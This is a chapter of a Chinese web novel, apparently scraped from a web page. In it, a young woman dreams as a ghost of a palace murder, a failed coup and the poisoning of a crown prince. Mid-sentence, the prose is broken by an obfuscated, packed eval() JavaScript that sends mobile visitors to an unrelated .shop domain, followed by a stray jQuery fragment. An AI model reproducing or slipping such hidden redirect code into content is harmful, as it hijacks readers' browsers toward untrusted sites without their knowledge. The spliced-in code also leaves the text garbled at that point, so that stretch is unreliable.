阳钰甚至来不及尖叫,只见本就暗红的床帷溅了一大片血,红与红交叠成深黑。
漱玉皇后连最后一声惨叫都没力气发出,枯瘦的手在半空划过无力的弧度,最后落在床沿上,发出一声极轻的闷响。
秋则辛几乎是在箭矢穿透窗棂的瞬间冲到窗前,劈开窗户,翻身跃了出去追击凶手。
池知序在原地愣了一会儿,上前揭开了床帷,瞳孔一震,他做了很久心理准备,深吸一口气,转身跟上秋则辛。
徒留阳钰一个人飘悠悠地站在原地,不知不觉起了一身冷汗。
她不忍心细看那支穿过漱玉皇后胸膛的箭,只是上一秒还在准备交代罪行的人,居然就这样变成了一具冰冷的尸体。
即使是梦境,晕血的恶心反应也重新涌了上来……
·
阳钰猛地睁开双眼,坐起身靠在床头大口大口喘气,睡衣的后背都湿透了,心脏还砰砰直跳。
她把发抖的双手从被子里伸出来,攥紧拳头,可她就是停不下来,心也慌。
太、太真实了!也好吓人啊,这个梦……这真的只是单纯的梦吗?
嘶……该不会是那边已经发生过的事情吧?!卧槽!
细思极恐,阳钰爬起来冲了个澡,喝了一杯冰美式,苦得皱起眉头,才勉强稳住心神。
接下来的几日,她一直很恍惚,干什么事都心不在焉的,还时不时站在原地发呆。
直到张梅华看到她差点被开水烫,勒令她赶紧去休息,她才抽出空静静思考。
哎哟,拾幺怎么还不来接我啊!
阳钰抱着膝盖坐在梧桐树下,抬头仰望枝丫在夜风里摇曳。
她好想他。
她好担心他。
筠清好像又介入了什么很危险的事……啧,不是答应我不干了吗?不守信用的家伙!
阳钰愤愤不平地随手拔了一撮草,又欲盖弥彰地填了回去,思绪又飘了。
想问他有没有继续照料那几片花园,想问他出去追凶手追到了没有,有没有受伤……
阳钰把脸埋进膝盖里,长叹一口气。
·
临睡前,阳钰害怕睡不醒,按小剂量吃了一粒安眠药,结果今天晚上的梦,比以往的画面更清晰。
清晰到她能感觉到自己的实体,甚至能动了,但她仍然是灵魂状态的旁观者。
她站在皇宫的甬道上,四周红光闪烁,并非宫灯,而是数位身披甲胄的士兵举着的火把,把夜幕照得亮如白昼。
宫门已击溃,火光照在那些士兵的脸上,个个都是紧绷的,甲胄上血迹连连,分不清是谁的血。
是政变。
空气中的铁锈血腥味无限蔓延,熏得阳钰近乎干呕,接着她看见领头的战马上坐着两个人。
她非常眼熟的人。
应骁手里提着一柄长刀,深红的血液从刀尖滑落,眼神锐利,表情是阳钰从未见过的冷硬。
旁边的宫缡摇着折扇,甲胄一滴血未染,依然是那副笑盈盈的模样,他扬声道:“皇帝崩逝!太子无能!随我杀入宫城,接管这万里江山!挡我者,化为齑粉!”
阳钰简直不敢相信自己的耳朵。
……什么?皇帝驾崩了?!
所以你俩是真造反啊?!
就在宫缡发号施令乘胜追击时,震耳欲聋的阵阵脚步声从甬道的另一头传来。
池知序穿过破败不堪的宫门,手持长剑,步履不徐不疾,神情镇定,带着一众亲卫剑指叛军。
阳钰只来得及看到宫缡的笑容裂开一条缝、宫缡驾马提刀冲上前,剩下的她再也不敢睁眼看。
光是刀剑碰撞的声音就已经威慑到她了,跟别说甲胄碎裂的炸响、士兵倒下去时喉咙里挤出的最后一声嘶喊痛呼……
等等,筠清呢?
没等阳钰多想,耳边忽然传来凛冽一句——
“太子殿下小心!”
她猛地睁开眼,转身只见秋则辛提着横刀杀出一条血路,用金钱镖弹开直冲池知序命门的长刀。
刀光一闪而过,阳钰惊掉下巴。
不儿,四哥你真想斩亲大哥的脑袋啊?你来真的啊?!
激烈厮杀中,阳钰的腹部陡然刺痛,她这才察觉视线里飞来一记匕首,即便她是灵魂状态,也下意识想躲开。
岂料秋则辛闪身过来,“叮”的一声,一刀挑飞了匕首。
阳钰差点一口气没提上来,疯狂拍胸脯顺气的同时,她一瞅原来是友军在身后,可等她再回过头来,秋则辛竟然还盯着这个方向。
对视上了,她虎躯一震。
他在看我吗……不对,刚才有好多士兵直直穿过我的身体,说明我确实只是灵魂,更何况这是我的梦啊!
呼~自己吓自己。
就在阳钰松口气时,眼睁睁瞧见秋则辛往这边走了半步,她心一提,条件反射就想跑。
秋则辛的脚步顿时停住,随手封喉了一个想从背后偷袭的士兵,穿过刀光剑影的人群,深深回望了一眼这个方向,便继续投身于战场。
过程总共不超过五秒,却让阳钰吓出一身冷汗,寒毛都立起来了。
等她晕乎乎地缓过神来,战乱已然平息,天光乍亮,血肉模糊的尸体倒在甬道里,她还是移开目光不敢看。
应骁喘着粗气强撑着站立,甲胄已碎大半,血液浸染了整张脸,长刀被架在一旁。
最后睨了一眼和他确保此次政变行动万无一失的宫缡,他面无表情地放弃了挣扎。
宫缡也没有好到哪去,他单膝跪在血地上,脸上几道血痕,血珠子顺着下颚往下淌,他红着双眼怒视着居高临下的池知序,被亲卫死死押住。
池知序抿着双唇,扔下长剑的手还在微微颤抖,他实在不知该如何面对两个亲弟弟的谋反,只觉得被立为太子后,无力与劳累便永无止息。
他宁愿不要坐在这个位置。
阳钰瞅着池知序的背影孤单且无助,不由得心疼太子大哥。
倏忽,她瞧见秋则辛站在后方,才察觉这人一身黝黑劲装,连一片甲胄都没穿就上战场杀敌了。
啧,你们起兵前没有“安全员”吗?有人没穿盔甲诶!怎么放他上来的?严重
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17799890|202575||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
怀疑不合规啊!
阳钰感到一阵后怕,她咽了咽口水,仗着是梦境壮了壮胆,小碎步挪到一言不发的秋则辛身前,屏住呼吸仔细观察他身上有没有伤口。
阳钰左看右看,上看下看,恨不得扒开他衣服看,总之确定他只有衣角溅了点别人的血,才放心。
嘶……给自己的脸保护得挺好,不得不说,筠清长得真好看,我可太稀罕了嘿嘿~
不知不觉中,阳钰踮起脚尖,肆无忌惮地贴近秋则辛的脸,她还从来没这么细致地观察过呢,趁着做梦大饱眼福。
她在内心疯狂“爆灯”时,却没留意秋则辛眼底的情绪翻涌,垂在两边手也默默握紧。
阳钰看得意犹未尽,想借此机会摸摸他的头,果然摸不到实体,她失落地撇了撇嘴。
她正要转身关心大哥,秋则辛冷不丁追上来,她停下脚步,怔住的同时秋则辛似有低头的动作——
·
紧接着阳钰就醒了。
她眨了眨眼睛,掐了自己一把。
“嘶!”好痛。
确认是真醒了,阳钰这才放下心来,但放得不多,因为刚才在梦里,秋则辛的表现怎么看怎么都不对,特别是最后。
怪怪的,他那个低头动作我最熟了,分明是想吻我,可是没道理啊,我当时是灵魂啊……或许是我看走眼了。
不管怎么样,筠清和太子平息了谋反,接下来大哥应该顺理成章登基,一切都在往好的方向发展……
·
眼看领毕业证的日子就在明天,拾幺还是没出现,连个数据影子都没有,阳钰干着急,等得牙痒痒。
失眠症状愈加严重,于是她每晚按正常剂量吃两粒安眠药,诡异的是,做梦的频率更频繁了。
她望见池知序瘫坐在勤政殿的龙椅上,面色发白,双手撑在书案上,整个人憔悴极了。
池知序用力抬起头,看着站在殿中央一言不发的秋则辛,他欲言又止,最后只吐出一口黑血,便倒了下去。
太子大哥!
阳钰捂住嘴大吃一惊,赶紧冲上前查看奄奄一息的池知序,她试图用各种方法示意秋则辛快救救太子,却发现对方的眼底尽是冰寒。
直到漠视的秋则辛转身离去,殿外黑压压跪了一大片,嘴里高喊着“新皇”之类的。
阳钰顿时像是被人泼了一盆冷水,心沉到谷底。
难道这一切……都……都是筠清干的?
好在池知序吊着一口气被池南北夜里翻进宫劫走——阳钰也不知道这算不算好事,只要大哥还有得救。
这次的梦境持续得格外长,长到她觉得这个世界很陌生,人也很陌生。
阳钰真不想再见血了,也不想留在那座“吃人”的皇宫了,便飘回侯府,看望了一下姜婆她们,逛了一圈,只有这里没有变。
忽然想起重要的事情,她快步走进小院,只见满园盛开的花,每一片都被悉心照料,她微微一愣。
木芙蓉也开花了,果真是彩色相间,阳钰不由得鼻尖一酸。
明明说好要一起看开花的,她却食言了。